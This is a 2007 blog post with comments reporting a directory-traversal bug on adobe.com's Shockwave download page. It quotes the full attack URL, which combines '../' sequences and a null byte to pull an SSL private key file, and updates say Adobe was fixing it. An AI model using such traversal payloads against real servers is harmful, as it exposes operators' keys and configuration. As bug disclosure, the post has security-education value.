adobe offering their ssl private key...

Posted by Nico Golde in
Wednesday, September 26. 2007

... and of course some other interesting data.

http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=../../../../../../../../..//usr/local/apache/conf/ssl.key/www.adobe.com.key%00

That's really bad

UPDATE: the certificate seems to be self signed, it is not the certificate from https://www.adobe.com, thanks rbu
Anyway there is other useful information and it's still a bug.

UPDATE: looks like they are currently fixing the issue:
"Site Area Temporarily Unavailable

The Player Download Center is temporarily unavailable. In the meantime, you may download Adobe Flash Player and Adobe Shockwave Player from the links below."

Comments (7) - Trackbacks (0)

Defined tags for this entry: adobe, errm?, fun, hacks, irc, ssl

Related entries by tags:

Trackbacks

Trackback specific URI for this entry

No Trackbacks

Comments

Display comments as (Linear | Threaded)

Absolutelly pwned!

#1 Doomshammer (Homepage) on 2007-09-26 17:39 (Reply)

but seriously, aside from it being a real embarassment to adobe... what use does joe average have for this?

PS: I think it would be more interesting to see how that came to the "public", fault of PHP too?

#2 she on 2007-09-26 18:11 (Reply)

LAWL. Just to funny from a security Perspective

#3 mybeNi websecurity (Homepage) on 2007-09-26 22:47 (Reply)

a short addition to my upper comment: your

[ ; ) ] smilies look like Hitler =D

#4 mybeNi websecurity (Homepage) on 2007-09-27 15:43 (Reply)

Oh, I'm a little late - but what a funny URL! Sure it had revealed funny stuff.

#5 Elias (Homepage) on 2007-09-27 16:43 (Reply)

nah its missing the beard

#6 nion on 2007-09-27 18:00 (Reply)

yeah, the smilies looks like hitler.

#7 websecurity (Homepage) on 2007-11-13 20:57 (Reply)

Add Comment

Name
Email
Homepage
In reply to
Comment	Enclosing asterisks marks text as bold (word), underscore are made via _word_. Standard emoticons like :-) and ;-) are converted to images. You can use [geshi lang=lang_name [,ln={y\|n}]][/geshi] tags to embed source code snippets. E-Mail addresses will not be displayed and will only be used for E-Mail notifications. To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly. Enter the string from the spam-prevention image above: You can use [geshi lang=lang_name [,ln={y\|n}]][/geshi] tags to embed source code snippets.
	Remember Information?

adobe offering their ssl private key...

nion's blog

adobe offering their ssl private key...

Calendar

Quicksearch

Support

Recent Entries

Archives

Syndicate This Blog

Categories

Tag cloud